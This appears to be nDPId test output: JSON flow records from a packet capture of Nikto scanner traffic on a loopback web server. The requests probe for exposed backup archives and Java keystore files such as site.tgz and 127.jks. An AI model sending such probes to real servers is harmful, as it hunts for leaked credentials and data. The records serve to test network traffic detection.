+00625{"flow_id":313,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":313,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":175229,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/vR9AAEAGfxd\/AAABfwAAAcP6H5AAgoWRJHk9poAYAED+swAAAQEICp1m\/N+dZvzfR0VUIC8xMjcuamtzIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":313,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":313,"flow_packet_id":1,"flow_first_seen":1576420277175,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50170,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":314,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":314,"flow_packet_id":1,"flow_first_seen":1576420277176,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50172,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":314,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":314,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":176582,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/G85AAEAGIGl\/AAABfwAAAcP8H5A9SCNDeIAPvYAYAED+swAAAQEICp1m\/OCdZvzgR0VUIC8xMjcuamtzIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":314,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":314,"flow_packet_id":1,"flow_first_seen":1576420277176,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50172,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":315,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":315,"flow_packet_id":1,"flow_first_seen":1576420277177,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50174,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":315,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":315,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":177988,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAz0lAAEAGbOx\/AAABfwAAAcP+H5CCs\/fKIUNf1IAYAED+tAAAAQEICp1m\/OGdZvzhR0VUIC9zaXRlLmFseiBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":315,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":315,"flow_packet_id":1,"flow_first_seen":1576420277177,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50174,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":316,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":316,"flow_packet_id":1,"flow_first_seen":1576420277179,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50176,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":316,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":316,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":179350,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAZxxAAEAG1Rl\/AAABfwAAAcQAH5BgPl+VSob0sYAYAED+tAAAAQEICp1m\/OOdZvzjR0VUIC9zaXRlLmFseiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":316,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":316,"flow_packet_id":1,"flow_first_seen":1576420277179,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50176,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":317,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":317,"flow_packet_id":1,"flow_first_seen":1576420277180,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50178,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":317,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":317,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":180644,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADGTHlAAEAG77Z\/AAABfwAAAcQCH5A4KXT5upP6C4AYAED+ugAAAQEICp1m\/OSdZvzkR0VUIC8xMjcuMC50YXIubHptYSBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":317,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":317,"flow_packet_id":1,"flow_first_seen":1576420277180,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50178,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":318,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":318,"flow_packet_id":1,"flow_first_seen":1576420277183,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50180,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":318,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":318,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":183009,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADGDUpAAEAGLuZ\/AAABfwAAAcQEH5BEmzXIVOhE3IAYAED+ugAAAQEICp1m\/OadZvzmR0VUIC8xMjcuMC50YXIubHptYSBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":318,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":318,"flow_packet_id":1,"flow_first_seen":1576420277183,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50180,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":319,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":319,"flow_packet_id":1,"flow_first_seen":1576420277184,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50182,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":319,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":319,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":184275,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAdAhAAEAGyC1\/AAABfwAAAcQGH5BYeUyXBV+uwoAYAED+tAAAAQEICp1m\/OidZvzoR0VUIC9zaXRlLnRneiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":319,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":319,"flow_packet_id":1,"flow_first_seen":1576420277184,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50182,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":320,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":320,"flow_packet_id":1,"flow_first_seen":1576420277185,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50184,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":320,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":320,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":185524,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADACsVAAEAGMXF\/AAABfwAAAcQIH5AHdTJUhgOj64AYAED+tAAAAQEICp1m\/OmdZvzpR0VUIC9zaXRlLnRneiBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":320,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":320,"flow_packet_id":1,"flow_first_seen":1576420277185,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50184,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":321,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":321,"flow_packet_id":1,"flow_first_seen":1576420277186,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50186,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":321,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":321,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":186754,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEtSBAAEAGhxF\/AAABfwAAAcQKH5BCRY2PbjuWH4AYAED+uAAAAQEICp1m\/OqdZvzqR0VUIC8xMjcudGFyLmx6bWEgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":321,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":321,"flow_packet_id":1,"flow_first_seen":1576420277186,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50186,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":322,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":322,"flow_packet_id":1,"flow_first_seen":1576420277187,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50188,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":322,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":322,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":187969,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEwZ1AAEAGepR\/AAABfwAAAcQMH5B2JfkLbDSLWoAYAED+uAAAAQEICp1m\/OudZvzrR0VUIC8xMjcudGFyLmx6bWEgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":322,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":322,"flow_packet_id":1,"flow_first_seen":1576420277187,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50188,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":323,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":323,"flow_packet_id":1,"flow_first_seen":1576420277189,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50190,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00626{"flow_id":323,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":323,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":189508,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAxaRAAEAGdpF\/AAABfwAAAcQOH5BgW\/00es\/TMYAYAED+tAAAAQEICp1m\/O2dZvztR0VUIC8xMjcwLmFseiBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":323,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":323,"flow_packet_id":1,"flow_first_seen":1576420277189,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50190,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":324,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":324,"flow_packet_id":1,"flow_first_seen":1576420277190,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50192,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":324,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":324,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":190836,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADACFhAAEAGM95\/AAABfwAAAcQQH5AQPjDI+venWYAYAED+tAAAAQEICp1m\/O6dZvzuR0VUIC8xMjcwLmFseiBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":324,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":324,"flow_packet_id":1,"flow_first_seen":1576420277190,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50192,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":325,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":325,"flow_packet_id":1,"flow_first_seen":1576420277193,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50194,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":325,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":325,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":193119,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9hYJAAEAGtrZ\/AAABfwAAAcQSH5Cznr0TB99xxoAYAED+sQAAAQEICp1m\/PGdZvzwR0VUIC8wLmprcyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":325,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":325,"flow_packet_id":1,"flow_first_seen":1576420277193,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50194,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} 